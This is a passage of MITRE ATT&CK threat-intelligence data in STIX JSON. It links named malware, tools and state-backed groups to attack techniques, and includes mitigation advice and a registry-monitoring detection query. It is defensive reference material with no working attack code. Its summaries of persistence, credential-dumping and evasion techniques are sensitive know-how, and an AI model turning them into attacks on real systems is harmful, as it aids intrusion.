Dragon)","relationship_type":"uses","source_ref":"malware--60d50676-459a-47dd-92e9-a827a9fe9c58","target_ref":"attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d4f7fac4-ddc0-40fa-8b16-c61b1de30072","type":"relationship","created":"2019-05-10T18:57:53.099Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Chaos Stolen Backdoor","description":"Sebastian Feldmann. (2018, February 14). Chaos: a Stolen Backdoor Rising Again. Retrieved March 5, 2018.","url":"http://gosecure.net/2018/02/14/chaos-stolen-backdoor-rising/"}],"modified":"2019-05-10T18:57:53.099Z","description":"After initial compromise, [Chaos](https://attack.mitre.org/software/S0220) will download a second stage to establish a more permanent presence on the affected system.(Citation: Chaos Stolen Backdoor)","relationship_type":"uses","source_ref":"malware--5bcd5511-6756-4824-a692-e8bb109364af","target_ref":"attack-pattern--84e02621-8fdf-470f-bd58-993bb6a89d91","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d4f9d2ab-70d0-4aaf-9c7f-d94fc0818ecb","created":"2020-03-02T19:18:20.208Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-07T22:52:03.561Z","description":"Users can be trained to identify social engineering techniques and spearphishing emails with malicious links which includes phishing for consent with OAuth 2.0. Additionally, users may perform visual checks of the domains they visit; however, homographs in ASCII and in IDN domains and URL schema obfuscation may render manual checks difficult. Use email warning banners to alert users when emails contain links from external senders, prompting them to exercise caution and reducing the likelihood of falling victim to spearphishing attacks. Phishing training and other cybersecurity training may raise awareness to check URLs before visiting the sites.","relationship_type":"mitigates","source_ref":"course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a","target_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d4fa4797-aec0-419b-83d8-8b06ea3ac06d","created":"2023-09-28T13:25:51.731Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"GitHub Pacu","description":"Rhino Security Labs. (2019, August 22). Pacu. Retrieved October 17, 2019.","url":"https://github.com/RhinoSecurityLabs/pacu"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-13T16:35:51.659Z","description":"[Pacu](https://attack.mitre.org/software/S1091) can enumerate and download files stored in AWS storage services, such as S3 buckets.(Citation: GitHub Pacu)","relationship_type":"uses","source_ref":"tool--1b3b8f96-43b1-4460-8e02-1f53d7802fb9","target_ref":"attack-pattern--3298ce88-1628-43b1-87d9-0b5336b193d7","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d4faeb90-07ee-4ae2-b77d-e002418d1b22","type":"relationship","created":"2020-06-19T19:08:40.383Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Valak May 2020","url":"https://www.cybereason.com/blog/valak-more-than-meets-the-eye","description":"Salem, E. et al. (2020, May 28). VALAK: MORE THAN MEETS THE EYE . Retrieved June 19, 2020."}],"modified":"2020-06-22T23:46:45.341Z","description":"[Valak](https://attack.mitre.org/software/S0476) has the ability to enumerate domain admin accounts.(Citation: Cybereason Valak May 2020)","relationship_type":"uses","source_ref":"malware--ade37ada-14af-4b44-b36c-210eec255d53","target_ref":"attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d4fd461f-fc58-4060-aed4-cebe64f249b9","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TechNet Arp","description":"Microsoft. (n.d.). Arp. Retrieved April 17, 2016.","url":"https://technet.microsoft.com/en-us/library/bb490864.aspx"}],"modified":"2021-12-07T18:27:04.790Z","description":"[Arp](https://attack.mitre.org/software/S0099) can be used to display ARP configuration information on the host.(Citation: TechNet Arp)","relationship_type":"uses","source_ref":"tool--30489451-5886-4c46-90c9-0dff9adc5252","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d507bcd4-bd22-4d39-b098-20c109ee9cda","created":"2022-06-01T17:24:47.180Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Tarrask scheduled task","description":"Microsoft Threat Intelligence Team & Detection and Response Team . (2022, April 12). Tarrask malware uses scheduled tasks for defense evasion. Retrieved June 1, 2022.","url":"https://www.microsoft.com/security/blog/2022/04/12/tarrask-malware-uses-scheduled-tasks-for-defense-evasion/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-18T14:53:05.096Z","description":"[Tarrask](https://attack.mitre.org/software/S1011) is able to create “hidden” scheduled tasks by deleting the Security Descriptor (`SD`) registry value.(Citation: Tarrask scheduled task)","relationship_type":"uses","source_ref":"malware--988976ff-beeb-4fb5-b07d-ca7437ea66e8","target_ref":"attack-pattern--22905430-4901-4c2a-84f6-98243cb173f8","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d50a6bf2-266b-4770-809a-c1bf3e81305f","created":"2021-09-27T20:37:38.840Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Crowdstrike Qakbot October 2020","description":"CS. (2020, October 7). Duck Hunting with Falcon Complete: A Fowl Banking Trojan Evolves, Part 2. Retrieved September 27, 2021.","url":"https://www.crowdstrike.com/blog/duck-hunting-with-falcon-complete-qakbot-zip-based-campaign/"},{"source_name":"Cyberint Qakbot May 2021","description":"Cyberint. (2021, May 25). Qakbot Banking Trojan. Retrieved September 27, 2021.","url":"https://blog.cyberint.com/qakbot-banking-trojan"},{"source_name":"Group IB Ransomware September 2020","description":"Group IB. (2020, September). LOCK LIKE A PRO. Retrieved September 27, 2021.","url":"https://groupib.pathfactory.com/ransomware-reports/prolock_wp"},{"source_name":"Trend Micro Black Basta October 2022","description":"Kenefick, I. et al. (2022, October 12). Black Basta Ransomware Gang Infiltrates Networks via QAKBOT, Brute Ratel, and Cobalt Strike. Retrieved February 6, 2023.","url":"https://www.trendmicro.com/en_us/research/22/j/black-basta-infiltrates-networks-via-qakbot-brute-ratel-and-coba.html"},{"source_name":"Trend Micro Qakbot May 2020","description":"Mendoza, E. et al. (2020, May 25). Qakbot Resurges, Spreads through VBS Files. Retrieved September 27, 2021.","url":"https://www.trendmicro.com/vinfo/ph/security/news/cybercrime-and-digital-threats/qakbot-resurges-spreads-through-vbs-files"},{"source_name":"Kroll Qakbot June 2020","description":"Sette, N. et al. (2020, June 4). Qakbot Malware Now Exfiltrating Emails for Sophisticated Thread Hijacking Attacks. Retrieved September 27, 2021.","url":"https://www.kroll.com/en/insights/publications/cyber/qakbot-malware-exfiltrating-emails-thread-hijacking-attacks"},{"source_name":"Trend Micro Qakbot December 2020","description":"Trend Micro. (2020, December 17). QAKBOT: A decade-old malware still with new tricks. Retrieved September 27, 2021.","url":"https://success.trendmicro.com/solution/000283381"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-16T19:55:38.446Z","description":"[QakBot](https://attack.mitre.org/software/S0650) can use VBS to download and execute malicious files.(Citation: Trend Micro Qakbot May 2020)\n(Citation: Kroll Qakbot June 2020)(Citation: Crowdstrike Qakbot October 2020)(Citation: Trend Micro Qakbot December 2020)(Citation: Cyberint Qakbot May 2021)(Citation: Group IB Ransomware September 2020)(Citation: Trend Micro Black Basta October 2022)","relationship_type":"uses","source_ref":"malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d50b5687-ea69-40f9-86f3-eecd7e015bac","type":"relationship","created":"2019-06-14T17:11:30.497Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf","description":"Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","source_name":"University of Birmingham C2"}],"modified":"2021-08-30T19:16:11.841Z","description":"Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific C2 protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)","relationship_type":"mitigates","source_ref":"course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c","target_ref":"attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d51223ba-aebe-448e-8a61-7460d96c8dd8","created":"2022-03-30T14:26:51.834Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-28T14:17:45.182Z","description":"Monitor the AppInit_DLLs Registry values for modifications that do not correlate with known software, patch cycles, etc. Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows or HKEY_LOCAL_MACHINE\\Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows are loaded by user32.dll into every process that loads user32.dll. These values can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes. Accordingly, this analytic looks for modifications to these registry keys that may be indicative of this type of abuse.\n\nAnalytic 1 - AppInit DLLs\n\n source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode IN (12, 13, 14) TargetObject= \"*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\Appinit_Dlls\\*\" OR\n TargetObject= \"*\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\Appinit_Dlls\\*\"","relationship_type":"detects","source_ref":"x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170","target_ref":"attack-pattern--cc89ecbd-3d33-4a41-bcca-001e702d18fd","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d514d73a-27de-409d-bff9-d7e48f2859a6","type":"relationship","created":"2019-07-16T21:00:11.765Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019.","url":"https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50","source_name":"Accenture SNAKEMACKEREL Nov 2018"}],"modified":"2020-03-20T18:31:32.983Z","description":"[Zebrocy](https://attack.mitre.org/software/S0251) has used URL/Percent Encoding on data exfiltrated via HTTP POST requests.(Citation: Accenture SNAKEMACKEREL Nov 2018)","relationship_type":"uses","source_ref":"malware--a4f57468-fbd5-49e4-8476-52088220b92d","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d5166d3e-246b-473c-9ff0-c5cc97dd91de","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist BlackEnergy Feb 2015","description":"Baumgartner, K. and Garnaeva, M.. (2015, February 17). BE2 extraordinary plugins, Siemens targeting, dev fails. Retrieved March 24, 2016.","url":"https://securelist.com/be2-extraordinary-plugins-siemens-targeting-dev-fails/68838/"},{"source_name":"ESET BlackEnergy Jan 2016","url":"https://www.welivesecurity.com/2016/01/03/blackenergy-sshbeardoor-details-2015-attacks-ukrainian-news-media-electric-industry/","description":"Cherepanov, A.. (2016, January 3). BlackEnergy by the SSHBearDoor: attacks against Ukrainian news media and electric industry . Retrieved June 10, 2020."}],"modified":"2020-06-10T21:56:44.790Z","description":"[BlackEnergy](https://attack.mitre.org/software/S0089) 2 contains a \"Destroy\" plug-in that destroys data stored on victim hard drives by overwriting file contents.(Citation: Securelist BlackEnergy Feb 2015)(Citation: ESET BlackEnergy Jan 2016)","relationship_type":"uses","source_ref":"malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4","target_ref":"attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d51a3ee4-4542-4334-9989-249aa107c261","created":"2023-07-31T17:54:41.072Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA AA24-038A PRC Critical Infrastructure February 2024","description":"CISA et al.. (2024, February 7). PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure. Retrieved May 15, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-03/aa24-038a_csa_prc_state_sponsored_actors_compromise_us_critical_infrastructure_3.pdf"},{"source_name":"Secureworks BRONZE SILHOUETTE May 2023","description":"Counter Threat Unit Research Team. (2023, May 24). Chinese Cyberespionage Group BRONZE SILHOUETTE Targets U.S. Government and Defense Organizations. Retrieved July 27, 2023.","url":"https://www.secureworks.com/blog/chinese-cyberespionage-group-bronze-silhouette-targets-us-government-and-defense-organizations"},{"source_name":"Microsoft Volt Typhoon May 2023","description":"Microsoft Threat Intelligence. (2023, May 24). Volt Typhoon targets US critical infrastructure with living-off-the-land techniques. Retrieved July 27, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2023/05/24/volt-typhoon-targets-us-critical-infrastructure-with-living-off-the-land-techniques/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-15T20:01:55.436Z","description":"[Volt Typhoon](https://attack.mitre.org/groups/G1017) has used compromised domain accounts to authenticate to devices on compromised networks.(Citation: Microsoft Volt Typhoon May 2023)(Citation: Secureworks BRONZE SILHOUETTE May 2023)(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d51c9d02-a701-4334-9dbc-bba6c128ba2b","type":"relationship","created":"2020-12-29T18:53:14.966Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA20-259A Iran-Based Actor September 2020","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-259a","description":"CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020."}],"modified":"2020-12-29T18:53:14.966Z","description":"[Fox Kitten](https://attack.mitre.org/groups/G0117) has searched network shares to access sensitive documents.(Citation: CISA AA20-259A Iran-Based Actor September 2020)","relationship_type":"uses","source_ref":"intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee","target_ref":"attack-pattern--ae676644-d2d2-41b7-af7e-9bed1b55898c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d52b8760-abba-46f0-8c82-653b95cb2775","type":"relationship","created":"2022-02-01T21:17:46.024Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky WIRTE November 2021","url":"https://securelist.com/wirtes-campaign-in-the-middle-east-living-off-the-land-since-at-least-2019/105044","description":"Yamout, M. (2021, November 29). WIRTE’s campaign in the Middle East ‘living off the land’ since at least 2019. Retrieved February 1, 2022."}],"modified":"2022-02-01T21:17:46.024Z","description":"[Ferocious](https://attack.mitre.org/software/S0679) has the ability to add a Class ID in the current user Registry hive to enable persistence mechanisms.(Citation: Kaspersky WIRTE November 2021)","relationship_type":"uses","source_ref":"malware--73d08401-005f-4e1f-90b9-8f45d120879f","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d531b421-7347-4dd6-9a98-0b05e6421b40","created":"2023-09-20T18:27:43.000Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Telefonica Snip3 December 2021","description":"Jornet, A. (2021, December 23). Snip3, an investigation into malware. Retrieved September 19, 2023.","url":"https://telefonicatech.com/blog/snip3-investigacion-malware"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-20T18:36:44.060Z","description":"[AsyncRAT](https://attack.mitre.org/software/S1087) can examine running processes to determine if a debugger is present.(Citation: Telefonica Snip3 December 2021)","relationship_type":"uses","source_ref":"tool--6a5947f3-1a36-4653-8734-526df3e1d28d","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--d53305c1-45c5-4a3c-9c9d-c5d324161402","created":"2022-03-30T14:26:51.832Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"There are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Some UAC bypass methods rely on modifying specific, user-accessible Registry settings. Analysts should monitor Registry settings for unauthorized changes.","modified":"2022-04-14T15:55:24.912Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170","target_ref":"attack-pattern--67720091-eee3-4d2d-ae16-8264567f6f5b","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d53397d8-02c7-4d31-a512-8b0226e38d6e","created":"2024-06-14T19:34:55.868Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA Star Blizzard Advisory December 2023","description":"CISA, et al. (2023, December 7). Russian FSB Cyber Actor Star Blizzard Continues Worldwide Spear-phishing Campaigns. Retrieved June 13, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-341a"},{"source_name":"Microsoft Star Blizzard August 2022","description":"Microsoft Threat Intelligence. (2022, August 15). Disrupting SEABORGIUM’s ongoing phishing operations. Retrieved June 13, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2022/08/15/disrupting-seaborgiums-ongoing-phishing-operations/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-14T20:19:20.552Z","description":"[Star Blizzard](https://attack.mitre.org/groups/G1033) has abused email forwarding rules to monitor the activities of a victim, steal information, and maintain persistent access after compromised credentials are reset.(Citation: Microsoft Star Blizzard August 2022)(Citation: CISA Star Blizzard Advisory December 2023)","relationship_type":"uses","source_ref":"intrusion-set--9b36c218-4d80-4ec6-a68d-cc2886bbe410","target_ref":"attack-pattern--7d77a07d-02fe-4e88-8bd9-e9c008c01bf0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d535f0e8-dc89-448c-828d-7464767a51a3","type":"relationship","created":"2019-05-29T14:32:01.701Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint TA505 Jan 2019","url":"https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505","description":"Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019."}],"modified":"2020-03-16T16:06:21.192Z","description":"[ServHelper](https://attack.mitre.org/software/S0382) contains modules that will use [schtasks](https://attack.mitre.org/software/S0111) to carry out malicious operations.(Citation: Proofpoint TA505 Jan 2019)","relationship_type":"uses","source_ref":"malware--aae22730-e571-4d17-b037-65f2a3e26213","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d53cb718-c7a5-42e5-bc2b-dc14ceebbb17","type":"relationship","created":"2019-01-30T16:39:54.526Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.","url":"https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/","source_name":"PaloAlto CardinalRat Apr 2017"}],"modified":"2020-03-17T00:31:42.765Z","description":"[Cardinal RAT](https://attack.mitre.org/software/S0348) is downloaded using HTTP over port 443.(Citation: PaloAlto CardinalRat Apr 2017)","relationship_type":"uses","source_ref":"malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d53d1e84-f4de-4e6a-bc84-5edfce84b055","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Dell TG-3390","description":"Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.","url":"https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"}],"modified":"2020-03-17T02:06:54.661Z","description":"[OwaAuth](https://attack.mitre.org/software/S0072) uses incoming HTTP requests with a username keyword and commands and handles them as instructions to perform actions.(Citation: Dell TG-3390)","relationship_type":"uses","source_ref":"malware--a60657fa-e2e7-4f8f-8128-a882534ae8c5","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d54a98b2-8023-43ac-8577-53796b1efa55","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.group-ib.com/blog/cobalt","description":"Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.","source_name":"Group IB Cobalt Aug 2017"}],"modified":"2019-07-26T23:38:33.624Z","description":"[Cobalt Group](https://attack.mitre.org/groups/G0080) has created new services to establish persistence.(Citation: Group IB Cobalt Aug 2017)","relationship_type":"uses","source_ref":"intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d54e7a92-0601-4b77-8675-46e33b577b4d","type":"relationship","created":"2021-05-05T13:59:21.337Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Dukes October 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."}],"modified":"2021-05-05T13:59:21.337Z","description":"[LiteDuke](https://attack.mitre.org/software/S0513) can enumerate the account name on a targeted system.(Citation: ESET Dukes October 2019)","relationship_type":"uses","source_ref":"malware--95e2cbae-d82c-4f7b-b63c-16462015d35d","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d552463d-b74b-440c-a936-979e8615a844","created":"2022-03-30T14:26:51.871Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Medium Detecting Attempts to Steal Passwords from Memory","description":"French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019.","url":"https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-17T19:49:38.710Z","description":"Monitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002) access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details, including Kerberos tickets, are stored.","relationship_type":"detects","source_ref":"x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71","target_ref":"attack-pattern--3fc01293-ef5e-41c6-86ce-61f10706b64a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d5599a7e-d6a4-4de7-918a-84c3972c21ef","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets","description":"Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.","source_name":"Proofpoint Leviathan Oct 